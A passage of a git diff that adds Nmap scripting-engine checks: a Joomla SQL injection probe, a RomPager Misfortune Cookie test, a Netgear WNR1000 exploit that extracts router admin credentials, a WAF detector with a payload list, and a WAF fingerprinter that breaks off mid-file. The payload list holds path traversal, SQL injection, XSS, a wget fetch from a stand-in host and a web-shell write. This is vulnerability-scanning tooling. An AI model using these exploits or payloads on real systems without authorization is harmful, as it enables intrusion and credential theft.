diff --git a/scripts/http-vuln-cve2017-8917.nse b/scripts/http-vuln-cve2017-8917.nse
new file mode 100644
index 0000000..af66304
--- /dev/null
+++ b/scripts/http-vuln-cve2017-8917.nse
@@ -0,0 +1,143 @@
+local http = require "http"
+local shortport = require "shortport"
+local string = require "string"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+local table = require "table"
+
+description = [[
+An SQL Injection vulnerability affecting Joomla! 3.7.x before 3.7.1 allows for
+unauthenticated users to execute arbitrary SQL commands. This vulnerability was
+caused by a new component, <code>com_fields</code>, which was introduced in
+version 3.7. This component is publicly accessible, which means this can be
+exploited by any malicious individual visiting the site.
+
+The script attempts to inject an SQL statement that runs the <code>user()</code>
+information function on the target website. A successful injection will return
+the current MySQL user name and host name in the extra_info table.
+
+This script is based on a Python script written by brianwrf.
+
+References:
+* https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
+* https://github.com/brianwrf/Joomla3.7-SQLi-CVE-2017-8917
+]]
+
+---
+-- @usage nmap --script http-vuln-cve2017-8917 -p 80 <target>
+-- @usage nmap --script http-vuln-cve2017-8917 --script-args http-vuln-cve2017-8917.uri=joomla/ -p 80<target>
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
+-- | http-vuln-cve2017-8917:
+-- | VULNERABLE:
+-- | Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2017-8917
+-- | Risk factor: High CVSSv3: 9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
+-- | An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers
+-- | to execute aribitrary SQL commands via unspecified vectors.
+-- |
+-- | Disclosure date: 2017-05-17
+-- | Extra information:
+-- | User: root@localhost
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8917
+-- |_ https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
+--
+-- @xmloutput
+-- <table key="CVE-2017-8917">
+-- <elem key="title">Joomla! 3.7.0 &apos;com_fields&apos; SQL Injection Vulnerability</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2017-8917</elem>
+-- </table>
+-- <table key="scores">
+-- <elem key="CVSSv3">9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)</elem>
+-- </table>
+-- <table key="description">
+-- <elem>An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers&#xa;to execute aribitrary SQL commands via unspecified vectors.&#xa;</elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="day">17</elem>
+-- <elem key="month">05</elem>
+-- <elem key="year">2017</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2017-05-17</elem>
+-- <table key="check_results">
+-- </table>
+-- <table key="extra_info">
+-- <elem>User: root@localhost</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html</elem>
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8917</elem>
+-- </table>
+-- </table>
+-- @args http-vuln-cve2017-8917.uri The webroot of the Joomla installation
+--
+---
+
+author = "Wong Wai Tuck"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive"}
+
+local REG_EXP_SUCCESS = {"XPATH syntax error: &#039;(.-)&#039;",
+ "XPATH syntax error: '(.-)'"}
+
+portrule = shortport.http
+
+action = function(host, port)
+ local vuln_table = {
+ title = "Joomla! 3.7.0 'com_fields' SQL Injection Vulnerability",
+ IDS = {CVE = 'CVE-2017-8917'},
+ risk_factor = "High",
+ scores = {
+ CVSSv3 = "9.8 (CRITICAL) (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)",
+ },
+ description = [[
+An SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers
+to execute aribitrary SQL commands via unspecified vectors.
+]],
+ references = {
+ 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html',
+ },
+ dates = {
+ disclosure = {year = '2017', month = '05', day = '17'},
+ },
+ check_results = {},
+ extra_info = {}
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ vuln_table.state = vulns.STATE.NOT_VULN
+
+ local uri = stdnse.get_script_args(SCRIPT_NAME .. '.uri') or '/'
+ uri = uri .. 'index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(1,user()),1)'
+
+ stdnse.debug1("Attacking uri %s", uri)
+ local response = http.get(host, port, uri)
+
+ stdnse.debug1("Response %s", response.status)
+
+ if response.status then
+ local result, matches
+ -- If it contains a matching string, it means SQL injection was successful
+ -- Otherwise it isn't vulnerable
+ for _, pattern in ipairs(REG_EXP_SUCCESS) do
+ stdnse.debug1(pattern)
+ result, matches = http.response_contains(response, pattern)
+ if result then
+ stdnse.debug1("Vulnerability found!")
+ vuln_table.state = vulns.STATE.VULN
+ table.insert(vuln_table.extra_info, string.format("User: %s", matches[1]))
+ break
+ end
+ end
+ end
+
+ return vuln_report:make_output(vuln_table)
+
+end
diff --git a/scripts/http-vuln-misfortune-cookie.nse b/scripts/http-vuln-misfortune-cookie.nse
new file mode 100644
index 0000000..4ee0bd7
--- /dev/null
+++ b/scripts/http-vuln-misfortune-cookie.nse
@@ -0,0 +1,77 @@
+description = [[Detects the RomPager 4.07 Misfortune Cookie vulnerability by safely exploiting it.]]
+
+author = "Andrew Orr"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive"}
+
+---
+-- @see http-vuln-cve2013-6786.nse
+--
+-- @usage
+-- nmap <target> -p 7547 --script=http-vuln-misfortune-cookie
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 7547/tcp open unknown syn-ack
+-- | http-vuln-misfortune-cookie:
+-- | VULNERABLE:
+-- | RomPager 4.07 Misfortune Cookie
+-- | State: VULNERABLE
+-- | IDs: BID:71744 CVE:CVE-2014-9222
+-- | Description:
+-- | The cookie handling routines in RomPager 4.07 are vulnerable to remote code
+-- | execution. This script has verified the vulnerability by exploiting the web
+-- | server in a safe manner.
+-- | References:
+-- | http://www.kb.cert.org/vuls/id/561444
+-- | http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9222
+-- | http://www.checkpoint.com/blog/fortune-cookie-hole-internet-gateway/index.html
+-- |_ http://www.securityfocus.com/bid/71744
+
+local http = require "http"
+local shortport = require "shortport"
+local vulns = require "vulns"
+
+portrule = shortport.port_or_service(7547, "http")
+
+-- This memory address overwrites the request URI.
+-- Other addresses may have other effects, some harmful.
+local MAGIC_COOKIE = "C107373883"
+
+local function vuln_to_misfortune_cookie(host, port)
+ local request_path = "/nmap_test"
+ local options = { cookies = MAGIC_COOKIE .. "=" .. request_path }
+ local flag = request_path .. "' was not found on the RomPager server."
+ local req = http.get(host, port, "/", options)
+ if not(http.response_contains(req, flag)) then
+ return false
+ end
+ return true
+end
+
+action = function(host, port)
+ local vuln = {
+ title = "RomPager 4.07 Misfortune Cookie",
+ state = vulns.STATE.NOT_VULN,
+ IDS = { CVE = 'CVE-2014-9222', BID = '71744' },
+ description = [[
+The cookie handling routines in RomPager 4.07 are vulnerable to remote code
+execution. This script has verified the vulnerability by exploiting the web
+server in a safe manner.]],
+ references = {
+ "http://www.checkpoint.com/blog/fortune-cookie-hole-internet-gateway/index.html",
+ "http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf",
+ "http://www.kb.cert.org/vuls/id/561444"
+ }
+ }
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ if vuln_to_misfortune_cookie(host, port) then
+ vuln.state = vulns.STATE.VULN
+ else
+ vuln.state = vulns.STATE.NOT_VULN
+ end
+
+ return report:make_output(vuln)
+end
diff --git a/scripts/http-vuln-wnr1000-creds.nse b/scripts/http-vuln-wnr1000-creds.nse
new file mode 100644
index 0000000..c196b2d
--- /dev/null
+++ b/scripts/http-vuln-wnr1000-creds.nse
@@ -0,0 +1,103 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local creds = require "creds"
+
+description = [[
+A vulnerability has been discovered in WNR 1000 series that allows an attacker
+to retrieve administrator credentials with the router interface.
+Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA
+
+Vulnerability discovered by c1ph04.
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-vuln-wnr1000-creds <target> -p80
+-- @args http-vuln-wnr1000-creds.uri URI path where the passwordrecovered.cgi script can be found. Default: /
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-wnr1000-creds:
+-- | VULNERABLE:
+-- | Netgear WNR1000v3 Credential Harvesting Exploit
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: None, 0-day
+-- | Description:
+-- | A vulnerability has been discovered in WNR 1000 series that allows an attacker
+-- | to retrieve administrator credentials with the router interface.
+-- | Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA
+-- | Disclosure date: 26-01-2014
+-- | References:
+-- |_ http://packetstormsecurity.com/files/download/124759/netgearpasswd-disclose.zip
+--
+---
+
+author = {"Paul AMAR <aos.paul@gmail.com>", "Rob Nicholls"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+portrule = shortport.http
+
+-- function to escape specific characters
+local escape = function(str) return string.gsub(str, "", "") end
+
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+
+ local vuln = {
+ title = 'Netgear WNR1000v3 Credential Harvesting Exploit',
+ state = vulns.STATE.NOT_VULN, -- default
+ description = [[
+ A vulnerability has been discovered in WNR 1000 series that allows an attacker
+ to retrieve administrator credentials with the router interface.
+ Tested On Firmware Version(s): V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA.
+ Vulnerability discovered by c1ph04.
+ ]],
+ references = {
+ 'http://c1ph04text.blogspot.dk/2014/01/mitrm-attacks-your-middle-or-mine.html',
+ },
+ dates = {
+ disclosure = {year = '2014', month = '01', day = '26'},
+ },
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local detection_session = http.get(host, port, uri)
+
+ if detection_session.status then
+ if not detection_session.body then
+ stdnse.debug1("No response body")
+ return vuln_report:make_output(vuln)
+ end
+ -- gather the id
+ local id_netgear = string.match(escape(detection_session.body), ('(id=%d+)'))
+
+ if id_netgear == nil then
+ stdnse.debug1("Unable to obtain the id")
+ return vuln_report:make_output(vuln)
+ else
+ -- send the payload to get username and password
+ local payload_session = http.post(host, port, uri .. "passwordrecovered.cgi?" .. id_netgear, { no_cache = true }, nil, "")
+ if payload_session then
+ local netgear_username = string.match(escape(payload_session.body), 'Router Admin Username</td>.+align="left">(.+)</td>.+Router Admin')
+ local netgear_password = string.match(escape(payload_session.body), 'Router Admin Password</td>.+align="left">(.+)</td>.+MNUText')
+ if (netgear_username ~= nil and netgear_password ~= nil) then
+ vuln.exploit_results = {
+ ("username: %s"):format(netgear_username),
+ ("password: %s"):format(netgear_password),
+ }
+ local c = creds.Credentials:new(SCRIPT_NAME, host, port)
+ c:add(netgear_username, netgear_password, creds.State.VALID)
+ vuln.state = vulns.STATE.VULN
+ else
+ stdnse.debug1("We haven't been able to get username/password")
+ end
+ end
+ end
+ end
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-waf-detect.nse b/scripts/http-waf-detect.nse
new file mode 100644
index 0000000..bf94318
--- /dev/null
+++ b/scripts/http-waf-detect.nse
@@ -0,0 +1,129 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to determine whether a web server is protected by an IPS (Intrusion
+Prevention System), IDS (Intrusion Detection System) or WAF (Web Application
+Firewall) by probing the web server with malicious payloads and detecting
+changes in the response code and body.
+
+To do this the script will send a "good" request and record the response,
+afterwards it will match this response against new requests containing
+malicious payloads. In theory, web applications shouldn't react to malicious
+requests because we are storing the payloads in a variable that is not used by
+the script/file and only WAF/IDS/IPS should react to it. If aggro mode is set,
+the script will try all attack vectors (More noisy)
+
+This script can detect numerous IDS, IPS, and WAF products since they often
+protect web applications in the same way. But it won't detect products which
+don't alter the http traffic. Results can vary based on product configuration,
+but this script has been tested to work against various configurations of the
+following products:
+
+* Apache ModSecurity
+* Barracuda Web Application Firewall
+* PHPIDS
+* dotDefender
+* Imperva Web Firewall
+* Blue Coat SG 400
+
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-waf-detect <host>
+-- nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro,http-waf-detect.uri=/testphp.vulnweb.com/artists.php" www.modsecurity.org
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-waf-detect: IDS/IPS/WAF detected
+--
+-- @args http-waf-detect.uri Target URI. Use a path that does not redirect to a
+-- different page
+-- @args http-waf-detect.aggro If aggro mode is set, the script will try all
+-- attack vectors to trigger the IDS/IPS/WAF
+-- @args http-waf-detect.detectBodyChanges If set it also checks for changes in
+-- the document's body
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+local attack_vectors_n1 = {"?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd",
+ "?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables",
+ "?p4yl04d3=<script>alert(document.cookie)</script>"}
+
+local attack_vectors_n2 = {"?p4yl04d=cat%20/etc/shadow", "?p4yl04d=id;uname%20-a", "?p4yl04d=<?php%20phpinfo();%20?>",
+ "?p4yl04d='%20OR%20'A'='A", "?p4yl04d=http://google.com", "?p4yl04d=http://evilsite.com/evilfile.php",
+ "?p4yl04d=cat%20/etc/passwd", "?p4yl04d=ping%20google.com", "?p4yl04d=hostname%00",
+ "?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>", "?p4yl04d=wget%20http://ev1l.com/xpl01t.txt",
+ "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--"}
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local orig_req, tests
+ local path = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+ local aggro = stdnse.get_script_args(SCRIPT_NAME..".aggro") or false
+ local use_body = stdnse.get_script_args(SCRIPT_NAME..".detectBodyChanges") or false
+
+ --get original response from a "good" request
+ stdnse.debug2("Requesting URI %s", path)
+ orig_req = http.get(host, port, path)
+ orig_req.body = http.clean_404(orig_req.body)
+ if orig_req.status and orig_req.body then
+ stdnse.debug3("Normal HTTP response -> Status:%d Body:\n%s", orig_req.status, orig_req.body)
+ else
+ return fail("Initial HTTP request failed")
+ end
+ --if aggro mode on, try all vectors
+ if aggro then
+ for _, vector in pairs(attack_vectors_n2) do
+ table.insert(attack_vectors_n1, vector)
+ end
+ end
+
+ --perform the "3v1l" requests to try to trigger the IDS/IPS/WAF
+ tests = nil
+ for _, vector in pairs(attack_vectors_n1) do
+ stdnse.debug2("Probing with payload:%s",vector)
+ tests = http.pipeline_add(path..vector, nil, tests)
+ end
+ local test_results = http.pipeline_go(host, port, tests)
+
+ if test_results == nil then
+ return fail("HTTP request table is empty. This should not ever happen because we at least made one request.")
+ end
+
+
+ --get results
+ local waf_bool = false
+ local payload_example = false
+ for i, res in pairs(test_results) do
+ res.body = http.clean_404(res.body)
+ if orig_req.status ~= res.status or ( use_body and orig_req.body ~= res.body) then
+ if not( payload_example ) then
+ payload_example = attack_vectors_n1[i]
+ end
+ if payload_example and ( string.len(payload_example) > string.len(attack_vectors_n1[i]) ) then
+ payload_example = attack_vectors_n1[i]
+ end
+ stdnse.debug2("Payload:%s triggered the IDS/IPS/WAF", attack_vectors_n1[i])
+ if res.status and res.body then
+ stdnse.debug3("Status:%s Body:%s\n", res.status, res.body)
+ end
+ waf_bool = true
+ end
+ end
+
+ if waf_bool then
+ return string.format("IDS/IPS/WAF detected:\n%s:%d%s%s", stdnse.get_hostname(host), port.number, path, payload_example)
+ end
+end
diff --git a/scripts/http-waf-fingerprint.nse b/scripts/http-waf-fingerprint.nse
new file mode 100644
index 0000000..109f563
--- /dev/null
+++ b/scripts/http-waf-fingerprint.nse
@@ -0,0 +1,677 @@
+local http = require "http"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+
+description = [[
+Tries to detect the presence of a web application firewall and its type and
+version.
+
+This works by sending a number of requests and looking in the responses for
+known behavior and fingerprints such as Server header, cookies and headers
+values. Intensive mode works by sending additional WAF specific requests to
+detect certain behaviour.
+
+Credit to wafw00f and w3af for some fingerprints.
+]]
+
+---
+-- @args http-waf-fingerprint.root The base path. Defaults to <code>/</code>.
+-- @args http-waf-fingerprint.intensive If set, will add WAF specific scans,
+-- which takes more time. Off by default.
+--
+-- @usage
+-- nmap --script=http-waf-fingerprint <targets>
+-- nmap --script=http-waf-fingerprint --script-args http-waf-fingerprint.intensive=1 <targets>
+--
+--@output
+--PORT STATE SERVICE REASON
+--80/tcp open http syn-ack
+--| http-waf-fingerprint:
+--| Detected WAF
+--|_ BinarySec version 3.2.2
+
+author = "Hani Benhabiles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+--
+-- Version 0.1:
+-- - Initial version based on work done with wafw00f and w3af.
+-- - Removed many false positives.
+-- - Added fingerprints for WAFs such as Incapsula WAF, Cloudflare, USP-SES,
+-- Cisco ACE XML Gateway and ModSecurity.
+-- - Added fingerprints and version detection for Webknight and BinarySec,
+-- Citrix Netscaler and ModSecurity
+--
+-- Version 0.2:
+-- - Added intensive mode.
+-- - Added fingerprints for Naxsi waf in intensive mode.
+--
+-- TODO: Fingerprints for other WAFs
+--
+
+portrule = shortport.service("http")
+
+-- Each WAF has a table with name, version and detected keys
+-- as well as a match function.
+-- HTTP Responses are passed to match function which will alter detected
+-- and version values after analyzing responses if adequate fingerprints
+-- are found.
+
+local bigip
+bigip = {
+ name = "F5 BigIP",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+
+ if response.header['x-cnection'] then
+ stdnse.debug1("BigIP detected through X-Cnection header.")
+ bigip.detected = true
+ return
+ end
+
+ if response.header.server == 'BigIP' then --
+ stdnse.debug1("BigIP detected through Server header.")
+ bigip.detected = true
+ return
+ end
+
+ for _, cookie in pairs(response.cookies) do --
+ if string.find(cookie.name, "BIGipServer") then
+ stdnse.debug1("BigIP detected through cookies.")
+ bigip.detected = true
+ return
+ end
+ -- Application Security Manager module
+ if string.match(cookie.name, 'TS%w+') and string.len(cookie.name) <= 8 then
+ stdnse.debug1("F5 ASM detected through cookies.")
+ bigip.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local webknight
+webknight = {
+ name = "Webknight",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for name, response in pairs(responses) do
+ if response.header.server and string.find(response.header.server, 'WebKnight/') then --
+ stdnse.debug1("WebKnight detected through Server Header.")
+ webknight.version = string.sub(response.header.server, 11)
+ webknight.detected = true
+ return
+ end
+ if response.status == 999 then
+ if not webknight.detected then stdnse.debug1("WebKnight detected through 999 response status code.") end
+ webknight.detected = true
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local isaserver
+isaserver = {
+ name = "ISA Server",
+ detected = false,
+ version = nil,
+ -- TODO Check if version detection is possible
+ -- based on the response reason
+ reason = {"Forbidden %( The server denied the specified Uniform Resource Locator %(URL%). Contact the server administrator. %)",
+ "Forbidden %( The ISA Server denied the specified Uniform Resource Locator %(URL%)"
+ },
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ for _, reason in pairs(isaserver.reason) do --
+ if http.response_contains(response, reason, true) then -- TODO Replace with something more performant
+ stdnse.debug1("ISA Server detected through response reason.")
+ isaserver.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local airlock
+airlock = {
+ name = "Airlock",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ for _, cookie in pairs(response.cookies) do --
+ -- TODO Check if version detection is possible
+ -- based on the difference in cookies name
+ if cookie.name == "AL_LB" and string.sub(cookie.value, 1, 4) == '$xc/' then
+ stdnse.debug1("Airlock detected through AL_LB cookies.")
+ airlock.detected = true
+ return
+ end
+ if cookie.name == "AL_SESS" and (string.sub(cookie.value, 1, 5) == 'AAABL'
+ or string.sub(cookie.value, 1, 5) == 'LgEAA' )then
+ stdnse.debug1("Airlock detected through AL_SESS cookies.")
+ airlock.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local barracuda
+barracuda = {
+ name = "Barracuda",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ for _, cookie in pairs(response.cookies) do
+ if cookie.name == "barra_counter_session" then
+ stdnse.debug1("Barracuda detected through cookies.")
+ barracuda.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local denyall
+denyall = {
+ name = "Denyall",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ for _, cookie in pairs(response.cookies) do
+ -- TODO Check accuracy
+ if cookie.name == "sessioncookie" then
+ stdnse.debug1("Denyall detected through cookies.")
+ denyall.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local f5trafficshield
+f5trafficshield = {
+ name = "F5 Traffic Shield",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ -- TODO Check for version detection possibility
+ -- based on the cookie name / server header presence
+ if response.header.server == "F5-TrafficShield" then
+ stdnse.debug1("F5 Traffic Shield detected through Server header.")
+ f5trafficshield.detected = true
+ return
+ end
+
+ for _, cookie in pairs(response.cookies) do
+ if cookie.name == "ASINFO" then
+ stdnse.debug1("F5 Traffic Shield detected through cookies.")
+ f5trafficshield.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local teros
+teros = {
+ name = "Teros / Citrix Application Firewall Enterprise", -- CAF EX, according to citrix documentation
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ for _, cookie in pairs(response.cookies) do
+ if cookie.name == "st8id" or cookie.name == "st8_wat" or cookie.name == "st8_wlf" then
+ stdnse.debug1("Teros / CAF detected through cookies.")
+ teros.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local binarysec
+binarysec = {
+ name = "BinarySec",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header.server and string.find(response.header.server, 'BinarySEC/') then --
+ stdnse.debug1("BinarySec detected through Server Header.")
+ binarysec.version = string.sub(response.header.server, 11)
+ binarysec.detected = true
+ return
+ end
+ if response.header['x-binarysec-via'] or response.header['x-binarysec-nocache']then
+ if not binarysec.detected then stdnse.debug1("BinarySec detected through header.") end
+ binarysec.detected = true
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local profense
+profense = {
+ name = "Profense",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header.server == 'Profense' then
+ stdnse.debug1("Profense detected through Server header.")
+ profense.detected = true
+ return
+ end
+ for _, cookie in pairs(response.cookies) do
+ if cookie.name == "PLBSID" then
+ stdnse.debug1("Profense detected through cookies.")
+ profense.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local netscaler
+netscaler = {
+ name = "Citrix Netscaler",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+
+ -- TODO Check for other version detection possibilities
+ -- based on fingerprint difference
+ if response.header.via and string.find(response.header.via, 'NS%-CACHE') then --
+ stdnse.debug1("Citrix Netscaler detected through Via Header.")
+ netscaler.version = string.sub(response.header.via, 10, 12)
+ netscaler.detected = true
+ return
+ end
+
+ if response.header.cneonction == "close" or response.header.nncoection == "close" then
+ if not netscaler.detected then stdnse.debug1("Netscaler detected through Cneonction/nnCoection header.") end
+ netscaler.detected = true
+ end
+
+ -- TODO Does X-CLIENT-IP apply to Citrix Application Firewall too ?
+ if response.header['x-client-ip'] then
+ if not netscaler.detected then stdnse.debug1("Netscaler detected through X-CLIENT-IP header.") end
+ netscaler.detected = true
+ end
+
+ for _, cookie in pairs(response.cookies) do
+ if cookie.name == "ns_af" or cookie.name == "citrix_ns_id" or
+ string.find(cookie.name, "NSC_") then
+ if not netscaler.detected then stdnse.debug1("Netscaler detected through cookies.") end
+ netscaler.detected = true
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local dotdefender
+dotdefender = {
+ name = "dotDefender",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header['X-dotdefender-denied'] == "1" then
+ stdnse.debug1("dotDefender detected through X-dotDefender-denied header.")
+ dotdefender.detected = true
+ return
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local ibmdatapower
+ibmdatapower = {
+ name = "IBM DataPower",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header['x-backside-transport'] then
+ stdnse.debug1("IBM DataPower detected through X-Backside-Transport header.")
+ ibmdatapower.detected = true
+ return
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local cloudflare
+cloudflare = {
+ name = "Cloudflare",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header.server == 'cloudflare-nginx' then
+ stdnse.debug1("Cloudflare detected through Server header.")
+ cloudflare.detected = true
+ return
+ end
+ for _, cookie in pairs(response.cookies) do
+ if cookie.name == "__cfduid" then
+ stdnse.debug1("Cloudflare detected through cookies.")
+ cloudflare.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local incapsula
+incapsula = {
+ name = "Incapsula WAF",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ for _, cookie in pairs(response.cookies) do
+ if string.find(cookie.name, 'incap_ses') or string.find(cookie.name, 'visid_incap') then
+ stdnse.debug1("Incapsula WAF detected through cookies.")
+ incapsula.detected = true
+ return
+ end
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local uspses
+uspses = {
+ name = "USP Secure Entry Server",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header.server == 'Secure Entry Server' then
+ stdnse.debug1("USP-SES detected through Server header.")
+ uspses.detected = true
+ return
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local ciscoacexml
+ciscoacexml = {
+ name = "Cisco ACE XML Gateway",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header.server == 'ACE XML Gateway' then
+ stdnse.debug1("Cisco ACE XML Gateway detected through Server header.")
+ ciscoacexml.detected = true
+ return
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+
+local modsecurity
+modsecurity = {
+ -- Credit to Brendan Coles
+ name = "ModSecurity",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ for _, response in pairs(responses) do
+ if response.header.server and string.find(response.header.server, 'mod_security/') then
+ stdnse.debug1("Modsecurity detected through Server Header.")
+ local pos = string.find(response.header.server, 'mod_security/')
+ modsecurity.version = string.sub(response.header.server, pos + 13, pos + 18)
+ modsecurity.detected = true
+ return
+ end
+
+ if response.header.server and string.find(response.header.server, 'Mod_Security') then
+ stdnse.debug1("Modsecurity detected through Server Header.")
+ modsecurity.version = string.sub(response.header.server, 13, -9)
+ modsecurity.detected = true
+ return
+ end
+
+ -- The default SecServerSignature value is "NOYB" <= TODO For older versions, so we could
+ -- probably do some version detection out of it.
+ if response.header.server == 'NOYB' then
+ stdnse.debug1("modsecurity detected through Server header.")
+ modsecurity.detected = true
+ end
+ end
+ end,
+ intensive = function(host, port, root, responses)
+ end,
+}
+
+local naxsi
+naxsi = {
+ name = "Naxsi",
+ detected = false,
+ version = nil,
+
+ match = function(responses)
+ end,
+ intensive = function(host, port, root, responses)
+ -- Credit to Henri Doreau
+ local response = http.get(host, port, root .. "?a=[") -- This shouldn't trigger the rules
+ local response2 = http.get(host, port, root .. "?a=[[[]]]][[[]") -- This should trigger the score based rules
+
+ if response.status ~= response2.status then
+ stdnse.debug1("Naxsi detected through intensive scan.")
+ naxsi.detected = true
+ end
+ return
+ end,
+}
+
+
+local wafs = {
